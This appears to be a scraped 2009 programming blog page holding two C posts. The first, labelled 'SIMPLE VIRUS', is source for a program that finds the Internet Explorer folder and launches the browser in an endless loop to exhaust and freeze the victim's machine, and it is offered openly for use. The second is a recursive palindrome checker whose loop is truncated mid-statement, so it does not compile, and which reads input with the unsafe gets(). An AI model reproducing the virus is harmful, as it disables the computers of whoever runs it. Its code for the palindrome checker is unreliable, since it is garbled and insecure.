#include "dos.h"
#include "dir.h"
#include "stdlib.h"
int find_root (void);
int main ()
{
int success;
success = find_root();
switch(success)
{
case 0:
chdir("c:\\program files\\internet explorer");
while(1)
system("iexplore.exe");
case 1:
chdir("d:\\program files\\internet explorer");
while(1)
system("iexplore.exe");
case 2:
chdir("e:\\program files\\internet explorer");
while(1)
system("iexplore.exe");
case 3:
chdir("f:\\program files\\internet explorer");
while(1)
system("iexplore.exe");
}
}
int find_root(void)
{
struct ffblk ffblk;
int done,drive;
done = findfirst("c:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 0;
done = findfirst("d:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 1;
done = findfirst("e:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 2;
done = findfirst("f:\\program files\\internet explorer",&ffblk,FA_DIREC);
if(done == 0)
drive = 3;
return drive;
}
Saturday, December 5, 2009
SIMPLE VIRUS
Posted by Unknown at 11:47 PM 0 comments
PROGRAM TO CHECK PALINDROME OF STRING USING RECURRSION
#include "stdio.h"
#include "conio.h"
#include "string.h"
int palindrome(char *string)
{
int len;
char first, last;
len = strlen(string);
if(len == 1 || len == 0)
return 1; //palindrome
first = string[0]; //first character of string
last = string[len-1];//last character of string
if(first == last)
{
/*delete first and last characters -- extract the middle
portion of string */
for(int i=0; i
//now delete last char
string[len-2] = '\0';
return palindrome(string);
}
return 0; //not palindrome
}
int main()
{
char str[30];
clrscr();
printf("\nEnter a string: ");
gets(str);
if(palindrome(str))
printf("\nPalindrome.");
else
printf("\nNot palindrome");
getch();
return 0;
}
Labels: Recurrsion
Posted by Unknown at 11:32 PM 0 comments